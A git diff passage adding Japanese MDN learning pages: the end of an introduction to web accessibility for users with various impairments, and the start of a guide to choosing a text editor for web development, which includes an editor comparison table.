スクリーンリーダーをセットアップして試してみて、その動作方法を理解するべきです。 <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">クロスブラウザーテストのスクリーンリーダーのガイド</a> を見ると詳しい使い方がわかります。下記の動画も、その体験がどのようなものかの簡単な例です。</p> + +<p>{{EmbedYouTube("IK97XMibEws")}}</p> + +<p>統計では、WHO は「世界中で 2億8500万人が視覚障碍者で、うち 3900万人が全盲で 2億4600万人がロービジョンです」と見積もっています(<a href="https://www.who.int/mediacentre/factsheets/fs282/en/">視覚障碍と盲目</a>（英語）を参照)。これは単にサイトが適切にコーディングされていないために逃すユーザーとしては多くて重要です — 米国の人口とほぼ同じ大きさです。</p> + +<h3 id="People_with_hearing_impairments" name="People_with_hearing_impairments">聴覚障碍者</h3> + +<p>耳の障碍者や、ろう者とも知られて、このグループの人には聞こえにくい人と全く聞こえない人の両方がいます。聴覚障碍者は AT（<a href="https://www.nidcd.nih.gov/health/assistive-devices-people-hearing-voice-speech-or-language-disorders">聴覚、発声能力、発話能力、言語に障碍のある人のための補助装置</a>（英語）を参照）を使いますが、コンピューターやウェブに特化した特別な AT はありません。</p> + +<p>しかしながら、単純なテキストトランスクリプトから、動画と一緒に表示できるテキストトラック（すなわちキャプション）まで、彼らが音声コンテンツに代わって読むことができるテキストを提供するために留意すべき特定のテクニックがあります。後の記事で詳しく扱います。</p> + +<p>聴覚障碍者もまた重要なユーザー基盤を代表しています — 「世界中で 4億6,600万人が日常生活に支障を来すほどの聴覚障害を持っています」と WHO は<a href="https://www.who.int/mediacentre/factsheets/fs300/en/">ろうと聴覚障碍</a>（英語）で報告しています。</p> + +<h3 id="People_with_mobility_impairments" name="People_with_mobility_impairments">運動障碍のある人</h3> + +<p>これらの人々は、（四肢の喪失や麻痺のような）純粋に肉体的な問題や、四肢の衰弱や制御不能につながる神経学的障碍や遺伝子疾患を伴う可能性がある、運動に関する障碍を持っています。マウスを使うのに必要な正確な手の動きが難しい人もいれば、もっと深刻な影響を受けて、コンピューターと対話するために<a href="https://www.performancehealth.com/baseball-cap-head-pointer">ヘッドポインタ</a>（英語）を使う必要があるところまで著しく麻痺している人もいます。</p> + +<p>この種の障碍は、特定のトラウマや状態ではなく、老年期の結果であることもあります。それに、ハードウェアの制限から生じることもあります — 一部のユーザーはマウスを持っていないかもしれません。</p> + +<p>これが通常ウェブ開発作業に影響するのは、コントロールがキーボードからアクセス可能であることという要件です — このモジュールの後の記事でキーボード・アクセシビリティを扱いますが、どのようにやるかを見るためにキーボードだけを使っていくつかのウェブサイトを試してみることは良い考えです。例えば、<kbd>Tab</kbd> キーを使ってウェブフォームのさまざまなコントロール間を移動できますか？ キーボードコントロールの詳細については、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">クロスブラウザーテストのネイティブなキーボード・アクセシビリティを使う</a>のセクションを参照してください。</p> + +<p>統計では、有意な数の人が運動障碍を持っています。米国疾病管理予防センターの<a href="https://www.cdc.gov/nchs/fastats/disability.htm">障碍と機能 (施設に入らない 18 歳以上の大人) </a>（英語）の報告によると、米国では "肉体的な機能障碍のある大人の割合は、16.1%" です。</p> + +<h3 id="People_with_cognitive_impairments" name="People_with_cognitive_impairments">認知障碍者</h3> + +<p>認知障碍者とは最も広い範囲の障碍をいい、最も限定された能力をもつ知的障碍者からわれわれがみな加齢とともに考えたり記憶したりが困難になることまでがあります。この範囲には <a href="https://www.nimh.nih.gov/health/topics/depression/index.shtml">鬱病</a>（英語）や <a href="https://www.nimh.nih.gov/health/topics/schizophrenia/index.shtml">統合失調症</a>（英語）といった精神疾患のほか、<a href="https://www.ninds.nih.gov/Disorders/All-Disorders/Learning-Disabilities-Information-Page">ディスクレシア</a>（英語）や<a href="https://www.nimh.nih.gov/health/topics/attention-deficit-hyperactivity-disorder-adhd/index.shtml">ADHD（注意欠陥多動性障碍）</a>（英語）のような学習障害も含みます。</p> + +<p>理解と集中の困難、<a href="https://www.nimh.nih.gov/health/topics/autism-spectrum-disorders-asd/index.shtml">自閉症スペクトラム</a>（英語）の人々に、<a href="https://www.nimh.nih.gov/health/topics/schizophrenia/index.shtml">統合失調症</a>（英語）を有する人々、および他の多くの障碍を指します。このような障碍は、記憶、問題解決、理解、注意などの問題により、日常生活の多くの部分に影響を及ぼします。重要なこととして、認知障碍の臨床的な定義が広がっていても、そうした障碍をもつ人には共通の機能不全があります。それにはコンテンツを理解し難いこと、タスクを完了する方法を記憶すること、一貫性のないウェブページレイアウトによって混乱することがあります。</p> + +<p>認知障碍者へのアクセシビリティの良い基本事項は、次のものです:</p> + +<ul> + <li>コンテンツを2つ以上の方法で配信する、例えば文字スピーチや動画</li> + <li>簡単に理解できるコンテンツ、例えば簡潔な言語標準で書かれた文章など</li> + <li>重要なコンテンツに焦点があたっていること</li> + <li>気をそらすものを最小化する、例えば不要なコンテンツや広告</li> + <li>ウェブページのレイアウトやナビゲーションに一貫性をもたせる</li> + <li>なじみの要素、例えば未訪問のリンクは下線つきの青で、訪問済みは紫など</li> + <li>複数の処理を論理的で本質的な手順に分けて、進捗を指すものをつけること</li> + <li>ウェブサイトの認証は、セキュリティに妥協しない範囲で、できる限り簡単にする</li> + <li>フォーム完了までに必要な操作はできるだけ少ないこと、例えば明白なエラーメッセージと簡潔なエラー復帰</li> +</ul> + +<h3 id="注記">注記</h3> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Cognitive_accessibility">認知的なアクセシビリティ</a>をもってデザインするのは良い習慣になります。どんな人にも利益になるでしょう。</li> + <li>知的障碍者の多くは身体的な障碍も持っています。ウェブサイトは W3Cの<a href="https://www.w3.org/WAI/standards-guidelines/wcag/">Web コンテンツアクセシビリティガイドライン</a>と、その中の<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/Cognitive_accessibility#Guidelines">認知的アクセシビリティガイドライン</a>に従う必要があります。</li> + <li>W3Cの <a href="https://www.w3.org/WAI/GL/task-forces/coga/">認知と学習障碍者のアクセシビリティタスクフォース</a>では認知障碍者のためのウェブアクセシビリティガイドラインを制作しています。</li> + <li>WebAIM の<a href="https://webaim.org/articles/cognitive/">認知のページ</a>には関連する情報やリソースがあります<a name="_GoBack"></a>.</li> + <li>アメリカ疾病予防管理センターの見積もりでは、2018年以降、4人に1人の米国市民には障碍があり、その中で、<a href="https://www.cdc.gov/media/releases/2018/p0816-disability.html">若い人には認知障碍が最もよく見られます。</a></li> + <li>米国では、“知的障碍” は “精神遅滞”の新用語です。英国では、“知的障碍”とは、"学習障害” や “学習困難”のことです。</li> +</ul> + +<h2 id="Implementing_accessibility_into_your_project" name="Implementing_accessibility_into_your_project">プロジェクトにアクセシビリティを実装する</h2> + +<p>よくあるアクセシビリティ神話は、アクセシビリティはプロジェクトに実装するための高価な「余分な追加」であるということです。この神話は、実際には次のいずれかの場合に当てはまります。</p> + +<ul> + <li>重大なアクセシビリティ問題を抱えている既存のウェブサイトにアクセシビリティを「組み込んで改良」しようとしています。</li> + <li>プロジェクトの後期段階で、アクセシビリティとそれに関連する問題を検討し始めたばかりです。</li> +</ul> + +<p>ただし、プロジェクトの開始時からアクセシビリティを検討している場合は、ほとんどのコンテンツをアクセス可能にするためのコストはごくわずかなはずです。</p> + +<p>プロジェクトを計画するときは、他の重要な対象観客セグメント（対象とするデスクトップやモバイルのブラウザーなど）のテストと同様に、アクセシビリティのテストをテスト体制に組み入れます。早期に頻繁にテストし、理想的にはプログラムで検出可能な欠けている機能（画像の<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Text_alternatives">代替テキスト</a>の欠落、リンクテキストの不良のような — <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Element_relationships_and_context">要素の関係とコンテキスト</a>を参照）を検出するための自動テストの実行し、より複雑なサイト機能が障碍のあるユーザーのグループに対してどの程度うまく機能するかを確認するために、それらのグループでいくつかのテストを行います。例えば、</p> + +<ul> + <li>私の日付選択ウィジェットをスクリーンリーダーを使う人が使用できますか？</li> + <li>コンテンツが動的に更新される場合、視覚障碍者はそれについて知っていますか？</li> + <li>私の UI ボタンは、キーボードとタッチインターフェイスを使ってアクセスできますか？</li> +</ul> + +<p>コンテンツをアクセス可能にするための作業が必要なコンテンツの潜在的な問題領域をメモしておくことができ、またそうすべきで、徹底的にテストしていることを確認し、解決策や代替案について考えます。次の記事で見るように、テキストコンテンツは簡単ですが、マルチメディアコンテンツや、最先端の 3D グラフィックはどうでしょうか？ あなたはプロジェクトの予算を見て、現実的にそのようなコンテンツをアクセス可能にするために利用可能などんな解決策があるかついて考えるべきです。あなたはマルチメディアコンテンツすべてを転記するために支払うことができます。これは高価になることがありますが、行うことができます。</p> + +<p>現実的にもなりましょう。「100% のアクセシビリティ」は達成不可能な理想です — あなたは常にある種の最先端のケースに出くわすことになり、その結果特定のユーザーが特定のコンテンツを使いにくいと感じることになります — しかしできる限りはするべきです。WebGL を使用して作成した最先端の 3D 円グラフのグラフィックを含めることを計画している場合は、データのアクセス可能な代替表現としてデータ表を含めることができます。あるいは、表だけを含めて 3D 円グラフを取り除くことをお勧めします — 表には誰でもアクセスでき、コード作成が早く、CPU 使用率が低く、保守が簡単です。</p> + +<p>これに反して、興味深い 3D アートを展示したギャラリーのウェブサイトで作業している場合、それが完全に視覚的な媒体であることを考えると、すべてのアートが視覚障碍者にとって完全にアクセス可能であることを期待するのは不合理でしょう。</p> + +<p>あなたがアクセシビリティに関心があり、考えていることを示すために、あなたのサイトに、アクセシビリティに向けた方針と、サイトをアクセス可能にするためにどのようなステップを踏んだかを詳しく記載した、アクセシビリティに関する声明を発表してください。あなたのサイトにアクセシビリティの問題があると誰かが文句を言ってきたら、彼らと対話を始め、共感し、そして問題を解決するために合理的なステップを踏みます。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">よくあるアクセシビリティの問題を扱う</a>の記事では、より詳細にテストするべきであるアクセシビリティの詳細について説明しています。</p> +</div> + +<p>要約すると、</p> + +<ul> + <li>プロジェクトの最初からアクセシビリティを考慮し、早期に頻繁にテストしてください。他のバグと同じように、アクセシビリティの問題は、後で発見されたものほど修正が高くつきます。</li> + <li>アクセシビリティに関するベストプラクティスの多くは、障碍のあるユーザーだけではなく、すべてのユーザーに役立つことを念頭に置いてください。例えば、意味論に頼ったマークアップは、スクリーンリーダーに適しているだけでなく、読み込みや実行が高速であるため、すべての人、特にモバイルデバイスを使用している人、および/または遅い接続に適しています。</li> + <li>あなたのサイトにアクセシビリティの声明を発表し、問題を抱えている人々と関わり合いましょう。</li> +</ul> + +<h2 id="Accessibility_guidelines_and_the_law" name="Accessibility_guidelines_and_the_law">アクセシビリティのガイドラインと法律</h2> + +<p>アクセシビリティテストの基礎となる多数のチェックリストと一連のガイドラインがあります。これは、一見すると圧倒的に思われるかもしれません。アドバイスとしては、あなたが注意を払う必要がある基本的な分野に精通すること、そしてあなたにとって最も関連性のあるガイドラインの高いレベルの構造を理解することです。</p> + +<ul> + <li>はじめに、W3C は、アクセシビリティ適合のための非常に正確な、技術に依存しない基準を含む、大きくて非常に詳細なドキュメントを公開しました。これらは <a href="https://www.w3.org/WAI/intro/wcag.php">Web Content Accessibility Guidelines</a>（WCAG）と呼ばれていますが、決して短く読むことはできません。基準は 4 つの主なカテゴリに分けられます。これらは、実装を認識可能、操作可能、理解可能、そして堅牢にする方法を指定します。簡単に紹介して学習を開始するのに最適な場所は、<a href="https://www.w3.org/WAI/WCAG20/glance/Overview.html">WCAG の概要</a>（英語）です。WCAG の全てを学ぶ必要はありません — 主な関心分野に注意し、WCAG の基準に適合していない分野をハイライトするために、さまざまなテクニックやツールを使用します（詳細は下記を参照）。</li> + <li>あなたの国はまた、彼らの人口に役立つウェブサイトがアクセス可能であることを規定する特定の法律を持つかもしれません — 例えば、EU の <a href="https://www.etsi.org/deliver/etsi_en/301500_301599/301549/02.01.02_60/en_301549v020102p.pdf">EN 301 549</a>（PDF、英語）、米国の<a href="https://www.section508.gov/content/learn">リハビリテーション法のセクション 508</a>（英語）、ドイツの<a href="https://www.einfach-fuer-alle.de/artikel/bitv_english/">バリアフリー情報技術に関する連邦条例</a>（英語）、英国の<a href="https://www.legislation.gov.uk/uksi/2018/952/introduction/made">アクセシビリティ規則 2018</a>（英語）、イタリアの<a href="https://www.agid.gov.it/it/design-servizi/accessibilita-siti-web">アクセシビリティ</a>（イタリア語) 、オーストラリアの<a href="https://www.humanrights.gov.au/world-wide-web-access-disability-discrimination-act-advisory-notes-ver-41-2014">障碍者差別禁止法</a>（英語）など。W3C は、国ごとの<a href="https://www.w3.org/WAI/policies/">ウェブアクセシビリティの法および政策</a>（英語）のリストを保持しています。</li> +</ul> + +<p>そのため、WCAG は一連のガイドラインですが、あなたの国ではおそらくウェブアクセシビリティ、または少なくとも公的に利用可能なサービスのアクセシビリティ（ウェブサイト、テレビ、物理的な空間などを含む）を規制する法律があるでしょう。あなたの法律が何であるかを調べることは良い考えです。あなたのコンテンツがアクセス可能であることを確認しようと努力せずに、障碍を持つ人々が訴えた場合、法律な責任を負うこともあります。</p> + +<p>これは深刻に思えますが、実際には、上で概説したように、アクセシビリティをウェブ開発の最優先事項として考慮する必要があります。疑問がある場合は、資格のある弁護士に相談してください。私たちは弁護士ではないので、これ以上のアドバイスは提供しません。</p> + +<h2 id="Accessibility_APIs" name="Accessibility_APIs">アクセシビリティの API 群</h2> + +<p>ウェブブラウザーは、支援技術（AT）に役立つ情報を公開する（基礎となる OS によって提供される）特別な<strong>アクセシビリティ API</strong> を利用します — AT は大抵は意味論的情報を利用する傾向があるので、この情報にはスタイル情報や JavaScript のようなものを含みません。この情報は、<strong>アクセシビリティツリー</strong>と呼ばれる情報のツリーで構成されています。</p> + +<p>次のように、OS が異なれば、利用可能なアクセシビリティ API も異なります。</p> + +<ul> + <li>Windows: Microsoft Active Accessibility（MSAA） / IAccessible、UIAExpress、IAccessible2</li> + <li>Mac OS X: NSAccessibility</li> + <li>Linux: AT-SPI</li> + <li>Android: Accessibility framework</li> + <li>iOS: UIAccessibility</li> +</ul> + +<p>ウェブアプリにおいて HTML 要素によって提供されるネイティブな意味論的情報が足りない場合は、あなたは <a href="https://www.w3.org/TR/wai-aria/">WAI-ARIA の仕様</a>（英語）の機能でそれを補うことができます。これにより、アクセシビリティツリーに意味論的情報が追加され、アクセシビリティが向上します。<a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a>の記事で WAI-ARIA についてもっと多くを学ぶことができます。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事では高いレベルでアクセシビリティの概要を説明し、それが重要である理由と、ワークフローに取り込む方法を見てきました。サイトをアクセシブルにするための実装の詳細について学ぶことを渇望する人もいるでしょう。それでは次の記事では、HTML がアクセシビリティの良い基礎である理由を見ていきます。</p> + +<p>{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/Accessibility/What_is_accessibility">アクセシビリティとは？</a></li> + <li><a href="/ja/docs/Learn/Accessibility/HTML">HTML: アクセシビリティの基礎</a></li> + <li><a href="/ja/docs/Learn/Accessibility/CSS_and_JavaScript">CSS と JavaScript のアクセシビリティのベスト・プラクティス</a></li> + <li><a href="/ja/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA の基本</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Multimedia">アクセシブルなマルチメディア</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Mobile">モバイルアクセシビリティ</a></li> + <li><a href="/ja/docs/Learn/Accessibility/Accessibility_troubleshooting">アクセシビリティのトラブルシューティング</a></li> +</ul> + + + +<h2 id="See_Also" name="See_Also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/Accessibility/Understanding_WCAG">WCAG</a> + + <ul> + <li><a href="/ja/docs/Web/Accessibility/Understanding_WCAG/Perceivable">知覚可能</a></li> + <li><a href="/ja/docs/Web/Accessibility/Understanding_WCAG/Operable">操作可能</a></li> + <li><a href="/ja/docs/Web/Accessibility/Understanding_WCAG/Understandable">理解可能</a></li> + <li><a href="/ja/docs/Web/Accessibility/Understanding_WCAG/Robust">堅牢</a></li> + </ul> + </li> +</ul> diff --git a/files/ja/learn/common_questions/available_text_editors/index.html b/files/ja/learn/common_questions/available_text_editors/index.html new file mode 100644 index 0000000000..63f591f01a --- /dev/null +++ b/files/ja/learn/common_questions/available_text_editors/index.html @@ -0,0 +1,296 @@ +--- +title: どんなテキストエディタが利用可能ですか？ +slug: Learn/Common_questions/Available_text_editors +translation_of: Learn/Common_questions/Available_text_editors +--- +<div>{{IncludeSubnav("/ja/Learn")}}</div> + +<div class="summary"> +<p>この記事では Web 開発用のテキストエディタをインストールする際に考慮すべき点をいくつか取り上げます。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">学習の前提:</th> + <td><a href="/ja/docs/Learn/Common_questions/ウェブサイトを作成するのにどんなソフトウェアが必要か？">Web サイトを構築するために必要な様々なソフトウェア</a>について知っていること。</td> + </tr> + <tr> + <th scope="row">学習の目標</th> + <td>Web 開発者としてのニーズに最適なテキストエディタを選択する方法を学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>Web サイトは、ほとんどテキストファイルで構成されています。その開発を容易で快適なものにするため、最適なテキストエディタを選びましょう。</p> + +<p>テキストエディタは、コンピュータサイエンスにとって基本的なものです（Web 開発はコンピュータサイエンスそのものですよね）。そのため、膨大な選択肢があります。理想を言えば、できるだけ多くのエディタを試して、ワークフローに適したものを見つけるのが良いです。とは言っても、取っ掛かりをつけるため、いくつかの指針をあげることにします。</p> + +<p>まず以下の点を検討しましょう。</p> + +<ul> + <li>どの OS (オペレーティングシステム) を使用するか？</li> + <li>どのような技術を扱うのか？</li> + <li>テキストエディタに、どのような基本機能を求めるか？</li> + <li>テキストエディタの機能を拡張したいか？</li> + <li>テキストエディタを使用している間、サポートやヘルプが必要か？</li> + <li>テキストエディタの使い勝手は重要か？</li> +</ul> + +<p>ここまでで価格に言及していないことに注目してください。明らかにそれも重要ですが、製品価格は、その品質や機能とはあまり関係ありません。使いやすいテキストエディタを無料で手に入れることも可能なのです。</p> + +<p>人気のあるエディタの例を挙げてみましょう：</p> + +<table class="standard-table" style="height: 522px; width: 917px;"> + <thead> + <tr> + <th scope="col">エディタ</th> + <th scope="col">ライセンス</th> + <th scope="col">価格</th> + <th scope="col">OS</th> + <th scope="col">サポート</th> + <th scope="col">ドキュメント</th> + <th scope="col">機能拡張</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://atom.io/">Atom</a></td> + <td>MIT/BSD</td> + <td style="text-align: center;">無料</td> + <td>Windows, Mac, Linux</td> + <td><a href="https://discuss.atom.io/categories" rel="external">Forum</a></td> + <td><a href="https://atom.io/docs/latest/">Online Manual</a></td> + <td style="text-align: center;"><a href="https://atom.io/packages">Yes</a></td> + </tr> + <tr> + <td><a href="http://brackets.io/" rel="external">Brackets</a></td> + <td>MIT/BSD</td> + <td style="text-align: center;">無料</td> + <td>Windows, Mac, Linux</td> + <td><a href="https://groups.google.com/forum/#!forum/brackets-dev" rel="external">Forum</a>, <a href="http://webchat.freenode.net/?channels=brackets" rel="external">IRC</a></td> + <td><a href="https://github.com/adobe/brackets/wiki" rel="external">GitHub Wiki</a></td> + <td style="text-align: center;"><a href="https://ingorichter.github.io/BracketsExtensionTweetBot/" rel="external">Yes</a></td> + </tr> + <tr> + <td><a href="https://panic.com/coda/" rel="external">Coda</a></td> + <td>クローズドソース</td> + <td style="text-align: center;">$99</td> + <td>Mac</td> + <td><a href="https://twitter.com/panic">Twitter</a>, <a href="https://panic.com/qa" rel="external">Forum</a>, <a href="mailto:coda@panic.com">E-mail</a></td> + <td><a href="https://panic.com/coda/#book">eBook</a></td> + <td style="text-align: center;"><a href="https://panic.com/coda/plugins.php">Yes</a></td> + </tr> + <tr> + <td><a href="http://www.gnu.org/software/emacs/" rel="external">Emacs</a></td> + <td>GPL 3</td> + <td style="text-align: center;">無料</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://www.gnu.org/software/emacs/manual/efaq.html" rel="external">FAQ</a>, <a href="http://mail.gnu.org/mailman/listinfo/help-gnu-emacs" rel="external">Mailing list</a>, <a href="news://gnu.emacs.help" rel="external">News Group</a></td> + <td><a href="http://www.gnu.org/software/emacs/manual/html_node/emacs/index.html">Online Manual</a></td> + <td style="text-align: center;">Yes</td> + </tr> + <tr> + <td><a href="http://www.macrabbit.com/espresso/">Espresso</a></td> + <td>クローズドソース</td> + <td style="text-align: center;">$75</td> + <td>Mac</td> + <td><a href="http://www.macrabbit.com/support/" rel="external">FAQ</a>, <a href="mailto:support@macrabbit.com">E-mail</a></td> + <td>No end user doc,<br> + but <a href="http://wiki.macrabbit.com/">plug-in doc</a></td> + <td style="text-align: center;">Yes</td> + </tr> + <tr> + <td><a href="https://wiki.gnome.org/Apps/Gedit">Gedit</a></td> + <td>GPL</td> + <td style="text-align: center;">無料</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://mail.gnome.org/mailman/listinfo/gedit-list" rel="external">Mailing list</a>, <a href="irc://irc.gnome.org/%23gedit">IRC</a></td> + <td><a href="https://help.gnome.org/users/gedit/stable/">Online Manual</a></td> + <td style="text-align: center;"><a href="https://wiki.gnome.org/Apps/Gedit/PluginsLists">Yes</a></td> + </tr> + <tr> + <td><a href="http://komodoide.com/komodo-edit/" rel="external">Komodo Edit</a></td> + <td>MPL</td> + <td style="text-align: center;">無料</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://forum.komodoide.com/" rel="external">Forum</a></td> + <td><a href="http://docs.activestate.com/komodo/8.5/" rel="external">Online Manual</a></td> + <td style="text-align: center;"><a href="http://komodoide.com/resources/addons/">Yes</a></td> + </tr> + <tr> + <td><a href="http://www.notepad-plus-plus.org/" rel="external">Notepad++</a></td> + <td>GPL</td> + <td style="text-align: center;">無料</td> + <td>Windows</td> + <td><a href="http://sourceforge.net/p/notepad-plus/discussion/">Forum</a></td> + <td><a href="http://npp-wiki.tuxfamily.org/index.php?title=Main_Page" rel="external">Wiki</a></td> + <td style="text-align: center;"><a href="http://npp-wiki.tuxfamily.org/index.php?title=Plugin_Central" rel="external">Yes</a></td> + </tr> + <tr> + <td><a href="http://www.pspad.com/">PSPad</a></td> + <td>クローズドソース</td> + <td style="text-align: center;">無料</td> + <td>Windows</td> + <td><a href="http://gogogadgetscott.info/pspad/dotazy.htm">FAQ</a>, <a href="http://forum.pspad.com/" rel="external">Forum</a></td> + <td><a href="http://gogogadgetscott.info/pspad/">Online Help</a></td> + <td style="text-align: center;"><a href="http://www.pspad.com/en/pspad-extensions.php">Yes</a></td> + </tr> + <tr> + <td><a href="http://www.sublimetext.com/" rel="external">Sublime Text</a></td> + <td>クローズドソース</td> + <td style="text-align: center;">$70</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://www.sublimetext.com/forum/viewforum.php?f=3" rel="external">Forum</a></td> + <td><a href="http://www.sublimetext.com/docs/3/">Official</a>,<a href="http://docs.sublimetext.info/en/latest/index.html"> Unofficial</a></td> + <td style="text-align: center;"><a href="https://sublime.wbond.net/">Yes</a></td> + </tr> + <tr> + <td><a href="http://macromates.com/" rel="external">TextMate</a></td> + <td>クローズドソース</td> + <td style="text-align: center;">$50</td> + <td>Mac</td> + <td><a href="https://twitter.com/macromates">Twitter</a>, <a href="http://webchat.freenode.net/?channels=textmate">IRC</a>, <a href="http://lists.macromates.com/listinfo/textmate" rel="external">Mailing list</a>, <a href="mailto:tm-support@macromates.com">E-mail</a></td> + <td><a href="http://manual.macromates.com/en/">Online Manual</a>, <a href="http://wiki.macromates.com/Main/HomePage" rel="external">Wiki</a></td> + <td style="text-align: center;"><a href="http://wiki.macromates.com/Main/Plugins" rel="external">Yes</a></td> + </tr> + <tr> + <td><a href="http://www.barebones.com/products/textwrangler/" rel="external">TextWrangler</a></td> + <td>クローズドソース</td> + <td style="text-align: center;">無料</td> + <td>Mac</td> + <td><a href="http://www.barebones.com/support/textwrangler/faqs.html" rel="external">FAQ</a>, <a href="https://groups.google.com/forum/#!forum/textwrangler">Forum</a></td> + <td><a href="http://ash.barebones.com/TextWrangler_User_Manual.pdf" rel="external">PDF Manual</a></td> + <td style="text-align: center;">No</td> + </tr> + <tr> + <td><a href="http://www.vim.org/" rel="external">Vim</a></td> + <td><a href="http://vimdoc.sourceforge.net/htmldoc/uganda.html#license" rel="external">Specific open license</a></td> + <td style="text-align: center;">無料</td> + <td>Windows, Mac, Linux</td> + <td><a href="http://www.vim.org/maillist.php#vim" rel="external">Mailing list</a></td> + <td><a href="http://vimdoc.sourceforge.net/">Online Manual</a></td> + <td style="text-align: center;"><a href="http://www.vim.org/scripts/script_search_results.php?order_by=creation_date&direction=descending" rel="external">Yes</a></td> + </tr> + <tr> + <td><a href="https://code.visualstudio.com/download">Visual Studio Code</a></td> + <td><a href="https://github.com/microsoft/vscode">Open Source</a> under MIT licence/ Specific licence for product</td> + <td style="text-align: center;">無料</td> + <td>Windows, Mac, Linux</td> + <td><a href="https://code.visualstudio.com/docs/supporting/faq">FAQ</a> </td> + <td><a href="https://code.visualstudio.com/docs">Documentation</a></td> + <td style="text-align: center;"><a href="https://marketplace.visualstudio.com/VSCode">Yes</a></td> + </tr> + </tbody> +</table> + +<h2 id="アクティブラーニング">アクティブラーニング</h2> + +<p>現在利用可能なアクティブラーニングはありません。<a href="/ja/docs/MDN/Getting_started">貢献を考えてください</a>。</p> + +<h2 id="詳しく見てみましょう">詳しく見てみましょう</h2> + +<h3 id="エディタを選択する基準">エディタを選択する基準</h3> + +<p>それでは、テキストエディタを選ぶとき何を考慮すべきでしょうか？</p> + +<h4 id="どの_OS_(オペレーティングシステム)_を使用するか？">どの OS (オペレーティングシステム) を使用するか？</h4> + +<p>もちろんそれはあなたの選ぶことです。しかし、特定の OS でしか使えないエディタもあります。そのため、OSを切り替えて開発する場合には、選択肢が狭まります。システム上で実行できるのなら、どんなテキストエディタでも作業を行うことは<em>できます</em>。でも、クロスプラットフォームエディタを使用すると、OS 間の移行が容易になります。</p> + +<p>最初に、あなたが使う OS を選びます。次に、検討中のエディタがその OS をサポートしているか確認してください。ほとんどのエディタは WindowsやMacのサポート状況を、そのWeb サイトで公開しています。OSのバージョンが限定されている （Windows 7 以降のみをサポートし、Vista はサポートしないなど）場合もあります。Ubuntu を使うのなら、Ubuntu ソフトウェアセンター内を検索することをお勧めします。ただし、Linux/UNIX の世界には多様性があり、ディストリビューションが違うと動作も異なったり、パッケージ間の互換性がなかったりします。あまり流通していないテキストエディタに関心を抱いたりすると、自分でソースからコンパイルする羽目になるかもしれません （気の弱い人にはお勧めできません）。</p> + +<h4 id="どのような技術を扱うのか？">どのような技術を扱うのか？</h4> + +<p>一般論を言えば、テキストエディタなら、どんなテキストファイルでも開くことができます。自分のメモ書き程度なら、それで十分です。しかし、Web開発を行い、{{Glossary("HTML")}}、{{Glossary("CSS")}}、あるいは{{Glossary("JavaScript")}}をで使ったりすると、ファイルはかなり大きくて複雑なものになります。 Webで扱う技術情報に基づいテキストエディタを選択して、作業を簡単にしましょう。多くのテキストエディタには次のようなサポート機能があります。</p> + +<ul> + <li><strong>コードの着色： </strong>使用する技術のキーワードを着色表示することで、ファイルが読みやすくなります。</li> + <li><strong>コードの補完： </strong>よく出てくる構造を自動的に補完して、入力を手助けしてくれます。例えば、 HTMLのタグを自動的に閉じたり、正しいCSS属性の候補を挙げるなど。</li> + <li><strong>コードスニペット： </strong>新規にHTML文書を作成していると、同じ構文が何度も出てきます。コードスニペットとして登録した文書の断片を埋めていくことで、何度も入力する労苦から解放されます。</li> +</ul> + +<p>コードの着色はほとんどのテキストエディタがサポートしていますが、他の二つの機能はまだのものが多いのが現状です。使用する予定のテキストエディタが、 {{Glossary("HTML")}}、 {{Glossary("CSS")}}、それに {{Glossary("JavaScript")}}を着色できるか確認しておきましょう。</p> + +<h4 id="テキストエディタに、どのような基本機能を求めるか？">テキストエディタに、どのような基本機能を求めるか？</h4> + +<p>あなたのニーズと計画によりますが、以下の機能は多くの場合に有用です。I</p> + +<ul> + <li>文字列の検索と置換。単一ファイル、あるいは複数ファイルにわたって実行できるとよい。検索には{{Glossary("Regular Expression", "正規表現")}}、必要なら他のパターンを使う。</li> + <li>指定した行へ移動する。</li> + <li>大きなファイルの離れた場所を、画面を分割して表示する。</li> + <li>HTMLをブラウザ上で見えるように表示する。</li> + <li>散在する文字列を同時に選択する。</li> + <li>プロジェクトファイルとディレクトリを表示する。</li> + <li>自動整形機能で、コードを読みやすくする。</li> + <li>英文などのスペルチェックを行う。</li> +</ul> + +<h4 id="テキストエディタの機能を拡張したいか？">テキストエディタの機能を拡張したいか？</h4> + +<p>拡張型のテキストエディタは、標準で組み込まれた機能こそ少ないが、必要に応じて機能を拡張することができます</p> + +<p>あなたの開発に必要な機能が明確でなかったり、使いたい機能がエディタに組み込まれていないときは、拡張型のエディタを検討するのがいいです。良いとされているエディタは、プラグインできる機能を多数持っており、自分で必要なものを探してインストールできるものもあります。</p> + +<p>多くの機能が必要だが、プラグインが多くなってエディタの動作速度が低下するようなら、統合開発環境（IDE: integrated development environment）を検討してみてください。IDEは、統一したインターフェースで多くのツールを使えるので、初心者には少々荷が重いかもしれません。そういう時は、機能を限定して使えばいいのです。有名なIDEの例を下に挙げておきます。</p> + +<ul> + <li><a href="http://www.aptana.com/">Aptana Studio</a></li> + <li><a 